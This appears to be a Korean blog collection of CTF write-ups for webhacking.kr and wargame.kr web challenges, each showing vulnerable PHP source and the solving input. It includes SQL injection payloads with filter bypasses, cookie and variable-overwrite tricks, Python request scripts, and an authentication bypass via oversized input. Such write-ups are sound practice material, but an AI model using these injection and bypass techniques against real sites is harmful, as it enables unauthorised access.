반응형
반응형
반응형

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'= addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'== "admin") solve(61);
  echo "</body></html>";
?>
cs

 

GET으로 id값을 받는다.

 

addslashes 함수는 특수문자에 \를 붙이는 역할을 한다.

이어서 필터링를 통과하고 길이가 15보다 크지 않다면,

 

select {$_GET['id']} from chall61 order by id desc limit 1

 

을 실행한다.

 

 

id 내림차순으로 1개만을 반환한다.

 

이 문제는 aliases를 이용하면 된다.

 

"칼럼명" "별칭"

 

payload = 0x61646d696e%20id

 

 

반응형
반응형

 

sqli문제인 것으로 보인다. 소스코드를 확인하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest"echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.

 

admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.

 

guest의 no값은 1이다.

 

id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.

 

select id from chall27 where id='guest' and no=(0)or id = "admin"#)

 

그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.

 

=는 like로 #은 ;%00 으로 우회가 가능하다.

 

공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.

 

payload = 0)or%0aid%0alike%0a"admin";%00

 

 

 

반응형
반응형

시작부터 wrong이 적혀있다. 소스를 보자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe"echo "<a href=???>Next</a>";
else echo("Wrong");
?>
 
cs

GET방식으로 get=hehe를 넘겨주면 된다. 

 

url?get=hehe

 

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

이번에는 POST방식으로 2개의 값을 넘겨줘야 한다.

 

 

파이썬으로 해결 가능하다.

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/lv2.php'
 
cookies = {'PHPSESSID''value'}
data = {'post''hehe''post2''hehe2'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

결과: 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'== $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

get방식으로 myip의 값이 내 ip주소와 일치하면 된다.

 

?myip=본인의아이피주소

 

 

 

다음 문제로 이동하자.

 

일단 힌트가 있다. 값을 보면, time값인 것 같다.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'== md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>
 
cs

time()값의 md5해시값이 password와 같으면 된다.

 


Time()값은 시간에 따라 변하고, md5해시값을 구해서 request를 하는데에 시간이 걸리므로,
Hint에 표시되는 시간에 수십초 정도를 더한 값의 md5값을 구해서 get방식으로 넘겨주면 된다.

 

해당 time()값이 될때까지 새로고침을 계속 해주면 된다.

 

 

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'&& $_POST['impost'&& $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

 

 

다음 문제는 get, post, cookie값을 모두 받는다. 간단하게 파이썬 코드를 작성하여 해결이 가능했다.

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/md555.php?imget=a'
 
cookies = {'PHPSESSID''[value]''imcookie''a'}
data = {'impost''hehe'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'== md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'== md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>
 
cs

쿠키 test값이 md5(ip주소)이고, POST방식으로 넘긴 kk의 값이 md5($_SERVER['HTTP_USER_AGENT']) 이어야 한다.

$_SERVER['HTTP_USER_AGENT']의 값은 힌트로 제공해주고 있기 때문에 그대로 md5해시화하면 된다.

 

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/gpcc.php'
 
cookies = {'PHPSESSID''value''test''c069724157f7b464fe9470ab037e420e'}
data = {'kk''fa33cbcb27178503b0a544f0bd1f9e8d'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

 

 

다음 문제로 넘어가자.

 

1
2
3
4
5
6
7
8
9
10
<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'= str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>
 
cs

get으로 받는 변수명이 ip주소에서 .이 빠진 값이고, 해당 변수의 값이 변수명과 동일하다.

 

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

addr의 값으로 127.0.0.1을 넘겨주면 된다.

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
12
<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'== $answerecho "<a href=???.php>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

answer의 값은 아래와 같다.

 

 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>
 
cs

 

answerip/{$answer}_{$ip}.php 으로 이동하면 문제가 해결됨을 알 수 있다.

 

answer과 ip의 값도 파이썬으로 구하자.

 

... 파이썬으로 하려고 했는데 잘 안되서 그냥 php로 돌렸다.

1
2
3
4
5
6
7
8
9
10
<?php
$ip ='myip';
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo $answer.'_'.$ip.'.php';
?>
cs

 

반응형
반응형

 

유저를 클릭하면 유저를 투표할 수 있다. 투표는 한 번만 할 수 있는데, 쿠키값을 보면 vote_check값을 통해 투표를 했는지 안 했는지를 확인한다. 따라서 vote_check값을 없애주면 계속해서 투표를 할 수 있다.

 

?hit=[id]로 이동하면 투표가 된다.

 

이제 투표를 100번하는 파이썬 코드를 작성하자.

 

 

1
2
3
4
5
6
7
8
9
import requests
 
URL = 'https://webhacking.kr/challenge/code-5/?hit=[id]'
 
cookies = {'PHPSESSID''[value]'}
 
for i in range(100):
    requests.get(URL, cookies=cookies)
 
cs

 

실행 후 페이지를 새로고침 하니 문제가 풀렸다.

반응형
반응형

client ip와 agent 정보를 확인할 수 있고

 

아래에는 wrong IP라고 적혀 있다. 일단 ip값을 맞추면 되는 문제라고 추측해볼 수 있다.

 

 

소스를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
  extract($_SERVER);
  extract($_COOKIE);
  $ip = $REMOTE_ADDR;
  $agent = $HTTP_USER_AGENT;
  if($REMOTE_ADDR){
    $ip = htmlspecialchars($REMOTE_ADDR);
    $ip = str_replace("..",".",$ip);
    $ip = str_replace("12","",$ip);
    $ip = str_replace("7.","",$ip);
    $ip = str_replace("0.","",$ip);
  }
  if($HTTP_USER_AGENT){
    $agent=htmlspecialchars($HTTP_USER_AGENT);
  }
  echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
  if($ip=="127.0.0.1"){
    solve(24);
    exit();
  }
  else{
    echo "<hr><center>Wrong IP!</center>";
  }
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

$ip가 127.0.0.1이 되면 문제가 풀린다.

 

extract 함수는 배열의 키값을 변수화 시켜주는 함수이다. 12행에 extract($_COOKIE); 가 있기 때문에

cookie에 REMOTE_ADDR="abcd"를 넣어주면, $REMOTE_ADDR의 값이 "abcd"가 되어 13행에서 $ip에 "abcd"값이 들어가게 된다.

 

17~20행에서 특정 문자열이 치환되는 것을 고려하여 결과가 127.0.0.1이 되는 입력값은 112277...00...00...1 이다.

 

따라서 쿠키에 REMOTE_ADDR라는 이름에 값을 112277...00...00...1으로 설정해주면 된다.

반응형
반응형

 

 

문제 페이지에 들어가면 입력받는 폼이 하나 있고 check 버튼이 하나 존재한다.

 

 

이 것외에 아무것도 없기 때문에 페이지 소스를 확인해 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">
</form>
<script>
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
function sub(){ if(login.pw.value==unlock){ location.href="?"+unlock/10; } elsealert("Wrong"); } }
</script>
cs

 

check 버튼을 클릭하면 sub()함수가 호출이 된다.

 

sub()함수를 보면 입력된 값 (pw)가 unlock이랑 값이 같으면 URL?unlock/10 페이지로 이동한다.

 

 

 

크롬 개발자도구 콘솔을 이용하여 해당 페이지로 바로 이동하면 문제가 풀린다.

 

 

반응형
반응형

 

 

 

문제 페이지로 접속을 하면 소스를 볼 수 있는 링크가 있으며, idpw가 적혀 있다.

 

 

view-source를 클릭하여 소스코드를 확인하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);
 
  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);
 
  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];
 
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
 
$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);
 
for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}
 
echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
 
if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>
</body>
</html>
cs

 

4~33행은 cookie에 user값이 없으면, id와 pw를 각각 guest, 123qwe로 두고 인코딩하여 쿠키값을 설정하는 과정이고, 44~68행은 설정된 user와 password 쿠키값을 디코딩하는 과정이다.

 

73행에서는 디코딩된 id와 pw값이 각각 admin, nimda라면 문제가 풀리는 것을 알 수 있다.

 

 

인코딩 과정을 보면, 먼저 평문을 base64로 20번 인코딩하고 str_replace함수로 문자를 치환한다.

 

이 과정을 그대로 python으로 작성하여 id와 pw를 admin과 nimda로 두면 인코딩된 쿠키값을 얻을 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
 
def enc(value):
  for i in range(20):
      value = str(base64.b64encode(bytes(value)))
  value = value.replace("1","!")
  value = value.replace("2","@")
  value = value.replace("3","$")
  value = value.replace("4","^")
  value = value.replace("5","&")
  value = value.replace("6","*")
  value = value.replace("7","(")
  value = value.replace("8",")")
 
  return value
 
id = "admin"
pw = "nimda"
 
print(enc(id) + "\n\n")
print(enc(pw))
 
cs

 

 

실행 결과:

 

 

쿠키 값 설정은 크롬 확장프로그램 중에서 editthiscookie를 사용했다.

 

설정 후 페이지를 새로고침하면 문제가 풀린다.

반응형
반응형

login with crypto! but..

 

 

sucker_enc is sucks.

Can you login?

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
 
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
 
include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)
 
create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);
 
********************************************************/
 
function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}
 
function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing
 
function enc($str){
 $s_key = "L0V3LySH:butsheismyxgf..";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key$str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}
 
function sucker_enc($str){
 for($i=0;$i<8;$i++$str = enc($str);
 return $str;
}
 
function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}
 
ini_set("display_errors"true);
 
if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!
 
 if($_POST['pass'== get_password($_POST['user'],$_POST['ssn'])){
 
  if($_POST['user'== "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }
 
}
 
?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>
cs

 

 

php overflow를 이용하는 문제다.

 

 

 

 

 

 

52행 쿼리문에서 sucker_enc($ssn) 값이 매우 길어져서 쿼리문이 매우 길어지면 쿼리 실행에서 overflow가 나서

mysql_query함수가 false를 반환하게 된다.

 

그럼 mysql_fetch_array(Flase)는 null 값을 반환한다.

 

 

 

 

 

 

 

 

66행에서 get_password(...)의 값이 null이 되고, pass값에 아무입력을 하지 않으면

 

"" == null이 참이되어 admin으로 로그인이 가능하다.

 

 

 

 

 

 

 

 

ssn에 값을 너무 크게 주면 php가 터져버린다.

 

Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 56391681 bytes) in /var/www/html/login_with_crypto_but/index.php on line 39

 

이 오류메세지를 참고해서 ssn의 값의 크기를 조절하면 된다.

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib
import urllib2
 
def chk(payload):
    url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"user""admin""pass""""ssn": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    #print(payload)
    print data
    return data
 
payload = "A"*81114
chk(payload)
 
 
cs
반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
 
  if($result['id']=="guest"echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
cs

 

 

where id='guest' and no=2 or id='admin' 으로 만들어주면 된다.

 

공백을 필터링하기 때문에 %20대신 %0a로 우회해주면 된다.

 

 

 

 

?no=2%0aor%0aid%0a=%27admin%27

반응형
반응형

200점 문제

 

접속하면 level : 1 을 볼 수 있고, 아래에 view-source(소스보기)가 있다.

 

  1. <?php
  2. include "../../config.php";
  3. if($_GET['view-source'] == 1){ view_source(); }
  4. if(!$_COOKIE['user_lv']){
  5. SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
  6. echo("<meta http-equiv=refresh content=0>");
  7. }
  8. ?>
  9. <html>
  10. <head>
  11. <title>Challenge 1</title>
  12. </head>
  13. <body bgcolor=black>
  14. <center>
  15. <br><br><br><br><br>
  16. <font color=white>
  17. ---------------------<br>
  18. <?php
  19. if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  20. if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  21. if($_COOKIE['user_lv']>5) solve(1);
  22. echo "<br>level : {$_COOKIE['user_lv']}";
  23. ?>
  24. <br>
  25. <a href=./?view-source=1>view-source</a>
  26. </body>
  27. </html>

 

 

 

 

php 구문을 볼 수 있는데, 중요한 부분은 중간에 있는 php 코드다.

 

 

if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);

 

쿠키 user_lv 의 값이 숫자가 아니면 1로 설정,

6이상이면 1로 설정

5이상이면 solve다.

 

크롬 확장프로그램 EditThisCookie를 이용해서 user_lv의 값을 5이상 6미만인 값으로 설정하면 된다.

 

나는 5.5 로 해두었다. 5.5로 설정하고 원래 페이지로 돌아가면 풀린다.

 

 

 

 

반응형

+ Recent posts